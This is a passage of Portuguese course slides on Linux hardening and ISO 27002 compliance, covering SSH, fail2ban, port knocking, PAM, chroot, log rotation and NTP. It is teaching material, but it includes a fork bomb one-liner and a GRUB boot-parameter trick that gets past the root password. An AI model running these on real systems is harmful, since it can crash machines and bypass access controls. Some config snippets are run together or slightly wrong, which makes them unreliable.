com Software Livre de-redes-de-computadores-com-softwares ... · A disciplina tem por objetivo o...

Preview:

Citation preview

Gestão de Redes de Computadores com Software Livre

Análise e Testes de Vulnerabilidade em Redes Corporativas Baseados na Norma ISO 27002

http://www.fag.edu.br/pos-graduacao/62/gestao-de-redes-de-computadores-com-softwares-livres

Jéfer Benedett Dörr http://www.inf.ufpr.br/jbdorr/

● Graduação em Informática pela UNIOESTE - Universidade Estadual do Oeste do Paraná (2006);

● Pós Graduação (Lato Sensu) em Software Livre com ênfase em Redes pela UNIPAN - União PanAmericana de Ensino (2009);

● Mestrado (Stricto Sensu) no Programa de Mestrado em Computação da Universidade Federal do Paraná

LARSIS - Laboratório de Redes e Sistemas Distribuídos

Sócio da SBC de número 31530

Membro IADIS - Internacional Association for Development of the Information Society

https://profjefer.wordpress.com/

Análise e Testes de Vulnerabilidade em Redes Corporativas Baseados na Norma ISO 27002

Gestão de Redes de Computadores com Software Livre

A disciplina tem por objetivo o foco em Segurança Computacional, e propõe soluções de controles com a norma ISO 27002 na sua versão vinculada pela ABNT. O objetivo é exemplificar na prática como buscar a conformidade contida na norma utilizando software livre. Sendo um curso pontual, dentro do contexto computacional, tendo como proposta a utilização de ferramentas FOSS (Free and Open Source Software) combinadas com o poder dos recursos do Sistema Operacional Linux, o que possibilitará ao profissional de TI analisar redes corporativas com ferramentas consagradas do mundo do software livre.

ATENÇÃO:

Todo o conteúdo deste material é meramente didático!Não faça uso indevido.

Ética

Objetivos

● Fornecer ao aluno uma visão geral sobre segurança da informação● Entender a importância da segurança da informação no mundo de hoje● Conhecer as principais ameaças● Compreender a terminologia básica utilizada● Conhecer certificações da área

Cronograma - 08/11/2013

1.1 - Introdução a Segurança da Informação,1.2 - Conceitos de Segurança da Informação,1.3 - Conceitos Básicos de Vulnerabilidades e Intrusos,1.4 - Normas e Metodologias de Segurança da Informação,

1.5 - Conformidades com a ABNT NBR ISO/IEC 27002:2005,1.6 - Instalação Personalizada do Sistema Operacional Linux,1.7 - Conceitos de Procedimentos de Segurança Pós-Instalação,

Cronograma - 09/11/2013

2.1 - Segurança no Sistema de Arquivos, 2.2 -Segurança no Terminal, 2.3 -Gerenciamento de Privilégios, 2.4 -Utilizando o PAM, 2.5 -Criando o Sistema ChRoot,

2.6 -Registro de Eventos, 2.7 -Criação de Uma Estrutura de Logs Personalizada, 2.8 -Integração do Syslog-NG com MySQL, 2.9 -Limpeza de Logs,

Cronograma - 13/12/2013

3.1-OSSTMM – Open

Source Security Testing

Methodology Manual.

3.2-Anatomia de um

Ataque,

3.3-Engenharia Social,

3.4-Footprint,

3.5-Footprint emSMTP,

3.6-Fingerprint,

3.7-Levantamento de Dados

Através de Port Scanners,

3.8-Técnicas de Varreduras,

3.9-Técnicas Furtivas,

Cronograma - 14/12/2013

4.1-Captura de Informações com Sniffers,4.2-Conceitos Básicos de

Backdoors,

4.3-Enumeração de

Serviços e Informações,

4.4 - Bruteforce,

4.5 - Negação de Serviço,

4.6 - Exploits,

4.7 - Google Hacking,

4.8 - Ferramentas,

4.9 - Contramedidas.

08/11/2013

1.1 - Introdução a Segurança da Informação,1.2 - Conceitos de Segurança da Informação,1.3 - Conceitos Básicos de Vulnerabilidades e Intrusos,1.4 - Normas e Metodologias de Segurança da Informação, 1.5 - Conformidades com a ABNT NRB ISO/IEC 27002:2005,1.6 - Instalação Personalizada do Sistema Operacional Linux,1.7 - Conceitos de Procedimentos de Segurança Pós-Instalação,

ISO27002

1.1 - Introdução a Segurança da Informação,

O que é segurança?

●Condição ou estado de estar seguro ou protegido.● Capacidade de manter seguro.● Proteção contra a fuga ou escape.● Profissional ou serviço responsável pela guarda e proteção de algo.

o que queremos proteger?

era da informação

Informação

Segurança da Informação

6 barreiras da segurança

Desencorajar Dificultar Discriminar Detectar Deter Diagnosticar

ISO27002

ISO27002

ISO27002

ISO27002

ISO27002

ISO27002

ISO27002

ISO27002

1.2 - Conceitos de Segurança da Informação,

“se você conhece a si mesmo e ao seu inimigo, não precisará temer o resultado de mil batalhas”Sun Tzu

CriptografiaEsteganografiaVPNAnti VírusFirewallChave Pública/PrivadaIDSHoney Pots

1.3 - Conceitos Básicos de Vulnerabilidades e Intrusos,

vulnerabilidadeativonormasscamphishingengenharia socialtrojanbackdoor……..

●Ameaça (Threat)Uma ação ou evento que pode comprometer a segurança

● Vulnerabilidade (Vulnerability)Existência de uma fraqueza, que comprometimendo inesperado da segurança

●Ataque (Attack)Tentativa de violar qualquer tipo de segurança

●Exploração (Exploitation)É violar a segurança através de uma vulnerabilidade

1.4 - Normas e Metodologias de Segurança da Informação,

ISO 27001Essa norma aborda os padrões para sistemas de gestão de segurança da informação. Substitui a norma BS 7799-2

ISO 27002Baseada na norma ISO 27001, essa norma trata das boas práticas de segurança da informação, onde indica uma série de possíveis controles dentro de cada contexto da área de segurança. A partir de 2006, tornou-se substituta da normaISO 17799:2005.

Basileia IIÉ uma norma da área financeira, conhecida também como Acordo de Capital de Basileia II. Essa norma fixa-se em três pilares e 25 princípios básicos sobre contabilidade e supervisão bancária. http://www.bis.org/publ/bcbs128.pdf

PCI-DSSA norma Payment Card Industry Data Security Standard, é uma padronização internacional da área de segurança de informação definida pelo Payment Card Industry Security Standards Council. Essa norma foi criada para auxiliar as organizações que processam pagamentos por cartão de crédito na prevenção de fraudes, através de maior controle dos dados e sua exposição.https://pt.pcisecuritystandards.org/_onelink_/pcisecurity/en2pt/minisite/en/docs/pci_dss_v2-0.pdf

ITILÉ um conjunto de boas práticas para gestão, operação e manutenção de serviços de TI, aplicados na infraestrutura. A ITIL busca promover a gestão de TI com foco no cliente no serviço, apresentando um conjunto abrangente de processos e procedimentos gerenciais, organizados em disciplinas, com os quais uma organização pode fazer sua gestão tática e operacional em vista de alcançar o alinhamento estratégico com os negócios.

COBITDo inglês, Control Objectives for Information and related Technology, é um guia de boas práticas, como um framework, voltadas para a gestão de TI. Inclui, em sua estrutura de práticas, um framework, controle de objetivos, mapas de auditoria, ferramentas para a sua implementação e um guia com técnicas de gerenciamento.

SOXA lei Sarbanes-Oxley visa garantir a criação de mecanismos de auditoria e segurança confiáveis nas empresas, incluindo ainda regras para a criação de comitês encarregados de supervisionar suas atividades e operações, de modo a mitigar riscos aos negócios, evitar a ocorrência de fraudes ou assegurar que haja meios de identificá-las quando ocorrem, garantindo a transparência na gestão das empresas.

NIST 800 SeriesSérie de documentos, guias e pesquisas desenvolvidos pelo National Institute of Standards and Technology, voltadas para a área de segurança da informação. Essa série é composta de documentos considerados "Special Publications", os quaisabordam desde segurança na tecnologia Bluetooth, até segurança em servidores.

http://csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf

CERTIFICAÇÕES RECOMENDADAS PARA PROFISSIONAIS DE SIC

Segurança de Redes

CompTIA Security+ CompTIA

ECSA – EC-Council Security Analyst EC-Council

GAWN – GIAC Assessing Wireless Networks

SANS

GCIA – GIAC Certified Intrusion Analyst SANS

GPEN – GIAC Penetration Tester SANS

SSCP – Systems Security Certified Practioner

ISC²

Segurança de Redes/Gestão da

Segurança da Informação

CASP – CompTIA Advanced Security Practitioner

CompTIA

Segurança de Redes/Segurança no Desenvolvimento de

Software

CEH – Certified Ethical Hacker EC-Council

GWAPT – GIAC Web Application Penetration Tester

SANS

LPT – Licensed Penetration Tester EC-Council

Tratamento de Incidentes de Segurança

Computacional

GCIH – GIAC Certified Incident Handler

SANS

Forense Computacional

CHFI – Computer Hacking Forensic Investigator

EC-Council

GCFA – GIAC Certified Forensic Analyst SANS

GCFE – GIAC Certified Forensic Examiner SANS

GREM – GIAC Reverse Engineering Malware

SANS

Segurança no Desenvolvimento de

Software

CSSLP – Certified Secure Software Lifecycle Professional

ISC²

Auditoria e Conformidade

Auditor Lider ISO 27001 RAB ou IRCA

CISA – Certified Information Systems Auditor

ISACA

Gestão/Auditoria/Conformidade

COBIT – Control Objectives for Information and related Technology

ISACA

CRISC – Certified in Risk and Information Systems Control

ISACA

ITIL – Information Technology Infrastructure Library

OGC

Gestão da Segurança

da Informação

CISM – Certified Information Security Manager ISACA

CISSP – Certified Information Systems Security Professional ISC²

CISSP (ISSAP) – Information Systems Security Architecture Professional

ISC²

CISSP (ISSEP) – Information Systems Security Engineering Professional

ISC²

CISSP (ISSMP)- Information Systems Security Management Professional

ISC²

ISFS – Information Security Foundation baseada na ISO27002 EXIN

ISMAS – Information Security Management Advanced baseada na ISO 27002

EXIN

ISMES – Information Security Management Expert baseada na ISO 27002

EXIN

MCSO – Modulo Certified Security Officer Modulo

Gestão de Continuidade de

Negócios

ABCP – Associate Business Continuity Professional

DRI International

CBCI – Business Continuity Institute Certificate BCI

AMBCI – Associate Member of the Business Continuity Institute

BCI

SBCI – Specialist Member of the Business Continuity Institute

BCI

CBCP – Certified Business Continuity Professional

DRI International

CFCP – Certified Functional Continuity Professional

DRI International

MBCP (Master Business Continuity Professional)

DRI International

1.5 - Conformidades com a ABNT NRB ISO/IEC 27002:2005,

ISO27002

ISO27002

ISO27002

1.6 - Instalação Personalizada do Sistema Operacional Linux,

Instalou ta seguro?

Segurança vs ComodidadeHardeningPolíticas de SegurançaRegistro de EventosMonitoramentoAcesso físicoNormas

ISO27002

1.7 - Conceitos de Procedimentos de Segurança Pós-Instalação,

Hardening é um processo de mapeamento de ameaças, blindagem de

sistemas, mitigação de riscos executando atividades corretivas com foco na

infra-estrutura a fim de evitar possíveis tentativas ataque.

Várias técnicas podem ser utilizadas, desde o kernel, controle de acesso de

usuários, atualizações de segurança e muito mais.

HARDENING

•Remover programas desnecessários•Ajustar permissões especiais•Aplicar segurança no sistema de arquivos•Gerenciar acessos locais e remotos•Ajustar privilégios de usuários•Procurar por senhas fracas

Exemplo: ssh

Alterando a Porta padrão

# vim /etc/ssh/sshd_conf

Port 5849

# /etc/init.d/ssh restart

Bloquear acesso do Root no ssh

$ sudo vi /etc/ssh/sshd_config

"#PermitRootLogin no"

$ sudo /etc/init.d/sshd restart

Fail2ban# apt-get install fail2ban

# cd /etc/fail2ban# cp jail.conf jail.local

ignoreip = 127.0.0.1 10.8.1.0/24bantime = 1800maxretry = 3

# /etc/init.d/fail2ban restart

O arquivo de log do fail2ban

é: /var/log/fail2ban.log

Verifique:

# tail -f /var/log/auth.log | grep

Failed

Port Knock

# aptitude install knockd

/etc/knockd.conf

[options] logfile = /var/log/knockd.log

[openSSH] sequence = 7000,8000,9000 seq_timeout = 5 command = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

[closeSSH] sequence = 9000,8000,7000 seq_timeout = 5 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

Editar /etc/default/knockd e deixar as duas linhas seguintes:

START_KNOCKD=1KNOCKD_OPTS="-i eth0"

Isto define a placa que vai aceitar conexão e manter sempre o knock rodando.

# /etc/init.d/knockd restart

Se não estiver fechada, então feche a porta SSH do firewall pra testar se o serviço funciona. ; )

# iptables -A INPUT -p tcp --dport 22 -j DROP

# iptables -LDROP tcp -- anywhere anywhere tcp dpt:ssh

Configuração do cliente

Instale o mesmo utilitário do servidor:

Knockd:

# aptitude install knockd

Agora não precisa de nenhuma configuração adicional, apenas bater nas portas e já era.

# knock 192.168.0.155 7000:tcp 8000:tcp 9000:tcp

Acompanhe o log no servidor e veja as portas sendo abertas.

# tail -f /var/log/knockd.log 192.168.0.155: openSSH: Stage 1192.168.0.155: openSSH: Stage 2192.168.0.155: openSSH: Stage 3192.168.0.155: openSSH: OPEN SESAMEopenSSH: running command: /sbin/iptables -A INPUT -s 192.168.0.144 -p tcp --dport 22 -j ACCEPT

Agora se autentique normalmente.

$ ssh usuario@192.168.0.155

Pra fechar a porta use a mesma síntese usada pra abrir a porta do SSH, só que seguindo as sequência de portas de fechamento. Lembrete: você deve executar o comando do cliente e não da conexão remota. Mais uma coisa, se estiver logado a conexão se fecha.

$ knock 192.168.0.155 9000:tcp 8000:tcp 7000:tcp

Exemplo: TTL ping

Valores padrão

■ Roteadores Ciclades = 30

■ Linux = 64

■ Windows = 128

■ Cisco = 255

■ Linux + Iptables = 255

Por exemplo, quando damos um "ping www.uol.com.br" ele responde o valor 57. O valor mais próximo desse valor de TTL é o 64, que vem de Linux. Se considerarmos que o pacote deu 7 hops até chegar ao destino (passou por 7 roteadores) então temos o cálculo:

64-7 = 57

Para sabermos o valor de TTL do sistema operacional, podemos dar um cat no arquivo:

# cat /proc/sys/net/ipv4/ip_default_ttl64

# vim /etc/sysctl.conf

E no final dele, acrescentar uma linha com o novo valor de TTL que você definir:

net.ipv4.ip_default_ttl = 64

Depois é só validar com o comando:

# sysctl -p /etc/sysctl.conf

09/11/2013

2.1 - Segurança no Sistema de Arquivos, 2.2 -Segurança no Terminal, 2.3 -Gerenciamento de Privilégios, 2.4 -Utilizando o PAM, 2.5 -Criando o Sistema ChRoot, 2.6 -Registro de Eventos, 2.7 -Criação de Uma Estrutura de Logs Personalizada, 2.8 -Integração do Syslog-NG com MySQL, 2.9 -Limpeza de Logs,

ISO27002

2.1 - Segurança no Sistema de Arquivos,

Particionamentobkpsetuidsetgidlogrotatecriptografiaquotaspermissões

Particionamento

Dado um disco rígido de 40 GB, cria-se três partições primárias. A primeira com 64 MB, a segunda com 15360 MB e a terceira com 4544 MB. Nos 20992 MB restantes, cria-se uma partição estendida, de forma com que ela ocupe todo o espaço. Nesta partição estendida, criam-se cinco partições lógicas. A primeira com 10240 MB, a segunda com 7168 MB, a terceira com 2048 MB, a quarta com 1024 MB e a quinta com 512 MB. Desta forma o disco será totalmente preenchido.

Na primeira partição primária (de 64 MB), será montado o diretório /boot.Desta forma os arquivos de carregamento do sistema ficam isolados e mais seguros. A segunda partição primária (15360 MB) fica reservada para o diretório /home, isolando-se assim os arquivos dos usuários e limitando sua utilização do disco. Na terceira partição primária (4544 MB) será montado o diretório raíz (/), com os arquivos de inicialização do sistema. Na primeira e na segunda partições lógicas (10240 MB e 7168 MB) serão armazenados, respectivamente, os diretórios /usr e /opt. Isto limita o espaço utilizado pelos programas que serão instalados no sistema. Na terceira e na quarta partições lógicas (2048 MB e 1024 MB) residirão os diretórios /var e /tmp. Por fim, a quinta partição lógica (512 MB) ficará reservada para área de troca.

Problema de colocarmos nosuid e noexec nas partições.

SUID

SUID (Set User ID): O SUID quando aplicado faz com que o programa execute com o ID do dono

e não com o ID do utilizador.

Aplica-se o SUID num ficheiro utilizando: $ chmod u+s ficheirinho

Para verificarmos as permissões: $ ls –la ficheirinho

-rwsrw-r-- 1 jfrjfr Out 30 15:56 arquivo

Caso o SUID esteja aplicado mas o arquivo não é executável, em vez de s (minúsculo) aparece S

(maiúsculo)

-rwSrw-r-- 1 jfr jfr Out 30 15:56arquivo

# vim noexec.sh# chmod 700 noexec.sh# ./noexec.sh

#!/bin/bash

case $1 instart)mount -o remount,rw,noexec /varmount -o remount,rw,noexec /tmpmountecho "Partições SEM permissão de execução";;stop)

mount -o remount,rw,exec /varmount -o remount,rw,exec /tmpmountecho "Partições COM permissão de execucao”;;*) echo "erro use $0 {start|stop}"exit 0;;esacexit 1

ISO27002

Evitar acesso direto do root

sudoers

# sudoers file.## This file MUST be edited with the 'visudo' command as root.## See the sudoers man page for the details on how to write a sudoers file.# # Host alias specification # User alias specification # Cmnd alias specification # Defaults specification # User privilege specificationroot ALL=(ALL) ALL

# Uncomment to allow people in group wheel to run all commands# %wheel ALL=(ALL) ALL # Same thing without a password# %wheel ALL=(ALL) NOPASSWD: ALL # Samples# %users ALL=/sbin/mount /cdrom,/sbin/umount /cdrom# %users localhost=/sbin/shutdown -h nowjfr ALL=NOPASSWD:/sbin/ifup ,/sbin/ifdown

limitar uso do shell# cat /etc/passwd

# vim /root/auditoria/invalidos.sh

#!/bin/bashfor USER in $(cat /etc/passwd| cut -f 1 -d ``:'' | grep -v root | grep -v toor |grep -v teste)dousermod -s /bin/false $USERdone

limitar terminais

# vim /etc/securetty

tty1# tty2# tty3# tty4# tty5# tty6

Fork Bomb

:(){ :|:& };:

Limitar processos /etc/profile acrescentar no fim desse arquivo o seguinte código:

if [[ "$USER" == "root" ]]; then ulimit -S -u 512else ulimit -S -u 256fi

$ source /etc/profile

2.2 - Segurança no Terminal,

Cenário

Imagine um administrador logado como root em um dos servidores executando

uma tarefa administrativa. Logo em seguida é solicitado sua presença em outro

setor, e seu terminal ficou logado como root. Um funcionário mal intencionado

pode aproveitar dessa situação e e danificar o sistema, ou roubar informações de

acesso somente do root. Para REDUZIR, isso mesmo reduzir essa possibilidade de

ataque será utilizada a variável TMOUT. Mas por que apenas reduzir? Deve-se

atentar para as politicas de acesso físico à área dos servidores. Bloqueio de

interfaces usb, desativar funções do kernel como ctrl+alt+del.

export TMOUT=180 no terminal

ou

Adicione em /etc/profile:

readonly TMOUT=600expor TMOUT

Atualizar o profile para que entre em vigor as novas alterações sem precisar efetuar login novamente:

# source /etc/profile

Desabilitando Ctrl + Alt + Del

Abra e edite o seguinte arquivo:

# vim /etc/init/control-alt-delete.conf

Comente a linha abaixo:

#exec shutdown -r now "Control-Alt-Delete pressed"

Bloquear os terminais manualmente (VLOCK)Caso você queira bloquear os terminais manualmente, existe um programa chamado Vlock. Ele bloqueia o(s) terminal(is) e só libera quando for informada a senha do usuário que bloqueou o terminal. Primeiro instale o programa:

# aptitude install vlock

Para bloquear o terminal em que está logado, use o comando:

# vlock -a

grubRecuperar senha: kernel /boot/vmlinuz-2.6.xx-x-xxx root=/dev/xxx ro root=/bin/bash

Colocar senha no grub: grub2-mkpasswd-pbkdf2

vi /etc/grub.d/00_header

grub-update

ou

# (echo "senha" ; echo "senha") | grub-mkpasswd-pbkdf2 >> 00_header

2.3 - Gerenciamento de Privilégios,

setuidsetgidchownchgrpchmodsudoer

http://www.guiafoca.org/cgs/guia/iniciante/ch-perm.html

http://www.infowester.com/usuarioslinux.php

adduseraddgrouppasswd

Octal1 - Permissão de execução (x)2 - Permissão de gravação (w).4 - Permissão de leitura (r).

chage / usermod1. Forçar o usuário a trocar a sua senha no primeiro login:# chage -d 0 usuário

2. Definir a data de expiração da senha:# chage -E 2010-04-30 usuário

3. Definir o número mínimo de dias entre trocas de senhas:# chage -m 180 usuário

4. Definir o número de dias em que uma senha é válida:# chage -M 180 usuário

Com o -W ele informa ao user que vai expirar

Checando as políticas de validade de senhas de um determinado usuário:

# chage -l usuário

# chage -M 50 -m 7 -W 7 linustorvalds

Este comando aplica a política de senha para o usuário “linustorvalds” onde:

-M 50 -> Define que a senha será válida por um máximo de 50 dias, quando a mesma deverá ser

trocada.

-m 7 -> Define o número mínimo de dias em que o usuário poderá trocar sua senha antes do

período especificado para expiração. Caso o usuário possa trocar a qualquer momento ou dia, o

valor deverá ser 0.

-W 7 -> Número de dias antes de expirar nos quais o usuário vai receber alertas informando que

sua senha irá expirar.

ISO27002

2.4 - Utilizando o PAM,

limitações aos usuários no sistema.: pam_limits,

para limites dentro de uma sessão; e pam_time para restrição de logins em certos períodos.

Em sistemas baseados em Red Hat EL / Fedora, este arquivo será o /etc/pam.d/system-auth, enquanto que em sistemas baseados em Debian, são 4 arquivos: common-account,common-auth, common-password e common-session, todos dentro do diretório /etc/pam.d.

session required /lib/security/pam_limits.so

account requisite /lib/security/pam_time.so

http://www.vivaolinux.com.br/artigo/Uma-introducao-ao-LinuxPAM

http://www.ibm.com/developerworks/br/library/l-pam/

http://www.devin.com.br/limitando-usuarios-com-o-pam/

# vim /etc/pam.d/login

Habilitado o pam_time:

sintaxe das linhas é: serviços;ttys;usuários;horas

● serviços significa o nome do serviço PAM para se restringido. Exemplos: samba, su, login.

Use * para restringir para tudo.

● ttys significa em quais terminais a restrição será feita. Exemplo: terminais locais seriam

tty*. Use * para restringir para tudo.

● usuários significa uma lista dos usuários para a restrição. Múltiplos usuários podem ser

feitos com: “fulano|cicrano|beltrano” que significa fulano OU cicrano OU beltrano. O *

também pode ser utilizado para restringir a todos.

● horas é a faixa de horas e datas para a restrição. Melhor entendendido nos exemplos.

Para aprender melhor, vamos aos exemplos:

sshd:*:teste:Mo2100-2200

Na linha acima, o usuário teste só poderá acessar o sshd das 21:00 até as 22:00 na

Segunda-Feira.

A linha: sshd:*:teste:!Mo2100-2200

O usuário teste poderá acessar o sshd toda hora, exceto Segunda-Feira das 21:00

até as 22:00. A exclamação inverteu totalmente o caso.

No campo da faixa de tempo, podemos usar as abreviações:

● Su: Domingo

● Mo: Segunda

● Tu: Terça

● We: Quarta

● Th: Quinta

● Fr: Sexta

● Sa: Sábado

● Wk: Finais de semana (Sábado e Domingo)

● Wd: Dias da semana (Segunda à Sexta)

● Al: Todos os dias

Mais exemplos:

sshd:*:hugo:Wd0800-1800

O usuário hugo só poderá acessar o sshd em horário comercial, ou seja, de Segunda à

Sexta das 08:00 da manhã até as 18:00.

*:*:silvia|lisa:!Al1200-1800

As usuárias silvia e lisa não vão poder acessar nada durante todos os dias, das 12:00 às

18:00.

samba:*:guest:We1200-1201

O usuário guest só vai poder acessar o serviço PAM samba na quarta-feira das 12:00 as

12:01

PAM limitando recursos/etc/security/limits.conf

usuario/grupo tipo de limite recurso valor do limite

● memlock – Tamanho de memória alocada que os programas podem usar (em KB). Também: ulimit -l.

● nofiles – Número máximo de arquivos abertos ao mesmo tempo. Também: ulimit -n.

● maxlogins – Número máximo de logins para esse usuário

● nice – Número máximo de prioridade que o usuário pode setar, entre -20 (máxima prioridade) e 19

(mínima prioridade). Também: ulimit -e.

● stack – Valor máximo de um processo executado (em KB). Também: ulimit -s.

● cpu – Tempo máximo em minutos de uso da CPU. Também: ulimit -t.

● nproc – Número máximo de processos executados ao mesmo tempo. Também: ulimit -u.

teste hard fsize 100

O usuário teste não pode criar arquivos maiores que 100KB (fsize 100). Testando:

$ dd if=/dev/zero of=arquivo bs=1024 count=100

100+0 records in

100+0 records out

102400 bytes (102 kB) copied, 0.0011873 s, 86.2 MB/s

Ele deixou criar um arquivo de 100KB. Agora vou criar um de 105!

$ dd if=/dev/zero of=arquivo bs=1024 count=105

File size limit exceeded

teste hard nproc 5

O usuário teste só poderá executar 5 processos. Tenha em mente que os processos do bash por

exemplo também contam. Então colocar 1 não é uma boa idéia assim se seu usuário tiver

executando uma shell interativa.

@teste hard maxlogins 1

Todo mundo do grupo teste só pode se logar uma vez no sistema.

dumau hard memlock 20000

O usuário dumau só pode usar 20MB de memória no sistema.

@users hard priority 19

Todos os usuários do grupo users vão executar seus processos automaticamente com prioridade

mais baixa do sistema.

2.5 -Criando o Sistema ChRoot,

# aptitude install debootstrap

# mkdir /var/fag-chroot

# debootstrap squeeze /var/fagl-chroot

# mount --bind /proc/ /var/fag-chroot/proc

# chroot /var/fagl-chroot

# pico /root/.bashrc

PS1=' fag-chroot:\w\$ '

# aptitude update

http://www.vivaolinux.com.br/artigo/Instalando-e-configurando-um-servidor-DNS-(Bind+CHROOT)-no-Slackware?pagina=1

https://wiki.debian.org/pt_BR/Debootstrap

# passwd root

# pico /etc/fstab

Adicione a seguinte linha no arquivo:

devpts /dev/pts devpts defaults 0 0

# mount -a

# mount

Para verificar se ponto foi montado. Deverá aparecer o seguinte conteúdo: devpts on /dev/pts type devpts (rw)

Se você possui um servidor SSH no seu sistema original, é preciso dar um stop nele, pois como os processos são vinculados, não pode ter dois servidores do mesmo serviço rodando. Antes de instalarmos o SSH eno chroot, saia do mesmo e pare o SSH no sistema original:

# /etc/init.d/ssh stop

Depois entre no chroot novamente.

Vamos instalar o pacote SSH em nosso chroot, para que ele possa ser acessado remotamente:

# aptitude install ssh

Depois que o SSH estiver instalado, dê o comando abaixo e verifique se o SSH está rodando:

# ps aux | grep ssh

ISO27002

ISO27002

ISO27002

2.6 -Registro de Eventos,

http://www.vivaolinux.com.br/artigo/SysLog-Sistema-de-log-do-Linux

radiografia completa do sistema

O syslog tem duas funções:■ Liberar os programadores de gerar seu arquivos de log (antes do syslog tinha

que ser feito por cada programador, isso era terrível);

■ Deixar o administrador do sistema no controle dos logs.

O syslog é constituído de 3 partes:■ O daemon syslogd;

■ Openlog, que são rotinas e bibliotecas chamadas para ter acesso ao syslog;

■ Logger, que é um comando shell para o usuário enviar entradas para o syslog.

2.7 -Criação de Uma Estrutura de Logs Personalizada,

rotação. Pode ser diária(daily), semanal(weekly), mensal(monthly).

Utilizar o logrotate é fundamental porque os logs crescem infinitamente. Configurar o logrotate.conf para atender da melhor forma possível as suas necessidades também é fundamental.

Auxílio do cron

*cronO crontab tem o seguinte formato:

[minutos] [horas] [dias do mês] [mês] [dias da semana] [usuário] [comando]

O preenchimento de cada campo é feito da seguinte maneira:■ Minutos: informe números de 0 a 59;

■ Horas: informe números de 0 a 23;

■ Dias do mês: informe números de 1 a 31;

■ Mês: informe números de 1 a 12;

■ Dias da semana: informe números de 0 a 7;

■ Usuário: é o usuário que vai executar o comando (não é necessário especificá-lo se

o arquivo do próprio usuário for usado);

■ Comando: a tarefa que deve ser executada

$ crontab -e

# tarefa 130 22 2,10 * * echo "Go n Go"

#[minutos] [horas] [dias do mês] [mês] [dias da semana] [usuário] [comando]

ls /etc/cron.daily/ -> script do log rotate

Executando manualmente: $logrotate /etc/logrotate.conf

/var/log/apache2/*.log { weekly missingok rotate 52 compress delaycompress notifempty create 640 root adm sharedscripts postrotate /etc/init.d/apache2 reload > /dev/null endscript }

Exemplo Apache:

Analisando algumas diretivas de configuração disponíveis no logrotate:

● Período em que os arquivos de log devem ser rotacionados: Daily, Weekly e

Mounthly

● rotate 35 - indica o número de arquivos de log rotacionados a serem

mantidos, o arquivo rotacionado mais velho sempre é substituído.

● compress - comprimir os arquivos de log rotacionados (padrão é o gzip).

● create - imediatamente após rotacionar um arquivo de log o arquivo de log é

recriado com o mesmo nome e com as permissões especificadas. Exemplo de

sintaxe: create 640 root adm

● delaycompress - comprimir o arquivo de log rotacionado apenas no

próximo rotacionamento. Útil quando um aplicativo continua escrevendo um

arquivo de log por um determinado tempo após o rotacionamento. Esta

diretiva deve ser utilizada de forma concomitante com a diretiva compress

● dateext - inserir a data em que os arquivos foram rotacionado como

parte do nome do arquivo de log rotacionado. Um exemplo de arquivo

rotacionado gerado com a data no nome: /var/log/syslog-20131210.gz

● size 5M - tamanho que o arquivo de log deve ter para ser rotacionado, o

"M" indica megabytes, também pode ser utilizado "k" que indica kilobytes.

● olddir - diretório para onde os arquivos de log rotacionados devem ser

movidos. Exemplo de sintaxe: olddir /var/log/logs_antigos

● postrotate/endscript - os comandos definidos entre estas duas diretivas

são executadas logo após o arquivo de log ser rotacionado.

● prerotate/endscript - os comandos definidos entre estas duas diretivas

são executadas antes o arquivo de log ser rotacionado.

/etc/logrotate.conf

# See "man logrotate" for details # período em que os arquivos de log devem ser rotacionados daily rotate 35 compress dateext size 5M copytruncate notifempty nomail noolddir

# administrador ou aplicativos podem inserir seus arquivos de configuração específicos de rotacionamento de log neste diretório include /etc/logrotate.d # administrador ou aplicativos podem inserir seus arquivos de configuração específicos de rotacionamento de log neste diretório include /etc/logrotate.d

# também podem ser inseridas configurações de rotacionamento de logs diretamente neste arquivo. # para isso basta definir o nome do arquivo de log a ser rotacionado e suas configurações específicas que sobrescrevem as gerais definidas anteriormente. /var/log/wtmp { monthly create 0664 root utmp rotate 1 }

# é preciso especificar os arquivos a serem rotacinados pelo logrotate /var/log/mail.info /var/log/mail.log /var/log/mail.err { rotate 31 } # outra forma de especificar os arquivos a serem rotacionados pelo logrotate /var/log/*log { rotate 31 }

NTP http://www.ntp.br/NTP/

a.st1.ntp.br b.st1.ntp.br c.st1.ntp.br d.st1.ntp.br

a.ntp.br b.ntp.br c.ntp.br gps.ntp.br

Manter os dispositivos nas redes e na Internet com a hora certa é muito importante. Isso vale para servidores, roteadores, notebooks e desktops! Muitas aplicações dependem disso para funcionar bem. Incidentes de segurança e até crimes cibernéticos só podem ser investigados se os logs dos dispositivos envolvidos estiverem em sincronismo.

Por um acordo entre o ON (Observatório Nacional), que é responsável pela Hora Legal Brasileira, e o NIC.br (Núcleo de Informação e Coordenação do Ponto BR), a hora certa no Brasil é distribuída gratuitamente via Internet por meio do NTP.br. Saiba mais navegando pelo sítio, e utilize livremente os servidores disponíveis:

https://pt.wikipedia.org/wiki/Network_Time_Protocol

# apt-get update; apt-get install ntp

# nano /etc/ntp.conf

# "memoria" para o escorregamento de frequencia do micro # pode ser necessario criar esse arquivo manualmente com # o comando touch ntp.drift driftfile /etc/ntp.drift

# estatisticas do ntp que permitem verificar o historico # de funcionamento e gerar graficos statsdir /var/log/ntpstats/ statistics loopstats peerstats clockstats filegen loopstats file loopstats type day enable filegen peerstats file peerstats type day enable filegen clockstats file clockstats type day enable

# servidores publicos do projeto ntp.br server a.st1.ntp.br iburst server b.st1.ntp.br iburst server c.st1.ntp.br iburst server d.st1.ntp.br iburst server gps.ntp.br iburst server a.ntp.br iburst server b.ntp.br iburst server c.ntp.br iburst # outros servidores # server outro-servidor.dominio.br iburst # configuracoes de restricao de acesso restrict default kod notrap nomodify nopeer restrict -6 default kod notrap nomodify nopeer

Explicando:■ driftfile :: especifica o arquivo que armazenará a frequência de

atualização do relógio, para que, se houver queda de comunicação

com os servidores, o horário se mantenha correto. Ou, se for

necessário reiniciar o serviço NTP, ele toma o valor armazenado neste

arquivo como inicial, mantendo o horário correto até a próxima

sincronização.

■ statsdir :: diretório de logs do serviço.

■ restrict :: politicas de acesso ao serviço.

■ server :: servidores para sincronização de horário.

Reinciando o serviço

# /etc/init.d/ntp restart

Sincronizando:# apt-get update; apt-get install ntpdate

# ntpdate ip_ou_nome_do_servidor

Petisco p/ próximo módulo - Pentest

sqlmap - http://sqlmap.org/

dependência: python

Download:git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

./sqlmap.py -h

